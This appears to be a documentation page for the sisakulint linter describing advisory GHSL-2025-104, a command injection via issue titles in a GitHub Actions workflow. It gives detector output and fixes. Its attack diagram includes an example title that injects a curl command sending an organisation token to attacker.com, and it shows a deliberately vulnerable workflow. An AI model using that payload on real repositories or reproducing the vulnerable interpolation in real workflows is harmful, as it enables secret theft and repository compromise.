GHSL-2025-104: Code Injection via Issue Title

GHSL-2025-104: Code Injection via Issue Title #

Summary #

ItemValue
Advisory IDGHSL-2025-104
SeverityCritical
Affected Componentweaviate/weaviate
CVEN/A
CWECWE-78 (OS Command Injection)
Referencehttps://securitylab.github.com/advisories/GHSL-2025-104_weaviate/

Vulnerability Description #

GHSL-2025-104 is a code injection vulnerability in the notifier.yml workflow. The vulnerability occurs when the issue title is directly interpolated into a shell command and Slack notification payload without sanitization. The workflow is triggered by issues and pull_request_target events, both of which are privileged triggers.

Attack Vector #

sequenceDiagram
    participant Attacker
    participant Issue
    participant Workflow
    participant Secrets

    Attacker->>Issue: Create issue with malicious title
    Note right of Attacker: Title: "; curl attacker.com?t=$GH_ORG_Members_PAT #
    Issue->>Workflow: Trigger issues event
    Workflow->>Workflow: Process issue title in shell
    Workflow->>Secrets: Access GH_ORG_Members_PAT, SLACK_WEBHOOK_URL
    Workflow-->>Attacker: Secrets exfiltrated

Vulnerable Code Pattern #

name: Issue Notifier (Vulnerable)

on:
  issues:
    types: [opened]
  pull_request_target:
    types: [opened]

jobs:
  notify:
    runs-on: ubuntu-latest
    steps:
      - name: Send Slack notification
        uses: slackapi/slack-github-action@v1
        with:
          payload: |
            {
              "text": "A new Issue has been opened:\n*Title:* ${{ github.event.issue.title }}"
            }
        env:
          SLACK_WEBHOOK_URL: ${{ secrets.SLACK_WEBHOOK_URL }}

      # VULNERABLE: Issue title can contain malicious code
      - name: Log issue
        run: |
          echo "Issue: ${{ github.event.issue.title }}"

sisakulint Detection #

sisakulint detects this vulnerability with multiple rules:

1. code-injection-critical #

script/actions/ghsl/ghsl-2025-104.yaml:31:27: code injection (critical):
"github.event.issue.title" is potentially untrusted and used in a workflow
with privileged triggers. Avoid using it directly in inline scripts.
[code-injection-critical]

2. dangerous-triggers-critical #

script/actions/ghsl/ghsl-2025-104.yaml:9:3: dangerous trigger (critical):
workflow uses privileged trigger(s) [issues, pull_request_target] without
any security mitigations. [dangerous-triggers-critical]

3. permissions (missing) #

script/actions/ghsl/ghsl-2025-104.yaml:6:1: workflow does not have explicit
'permissions' block. [permissions]

Secrets at Risk #

The vulnerable workflow exposed:

  • GH_ORG_Members_PAT: Organization-level personal access token
  • SLACK_WEBHOOK_URL: Slack webhook for notifications

Remediation #

- name: Log issue
  env:
    ISSUE_TITLE: ${{ github.event.issue.title }}
  run: |
    echo "Issue: $ISSUE_TITLE"

Option 2: Add Permissions Block #

permissions:
  issues: read  # Minimal permissions

Option 3: Validate Input #

- name: Log issue
  env:
    ISSUE_TITLE: ${{ github.event.issue.title }}
  run: |
    # Sanitize input
    SAFE_TITLE=$(echo "$ISSUE_TITLE" | tr -cd '[:alnum:] [:space:]')
    echo "Issue: $SAFE_TITLE"

Auto-Fix Support #

sisakulint provides auto-fix for this vulnerability:

sisakulint -fix on script/actions/ghsl/ghsl-2025-104.yaml

Test Files #

  • Vulnerable pattern: script/actions/ghsl/ghsl-2025-104.yaml

References #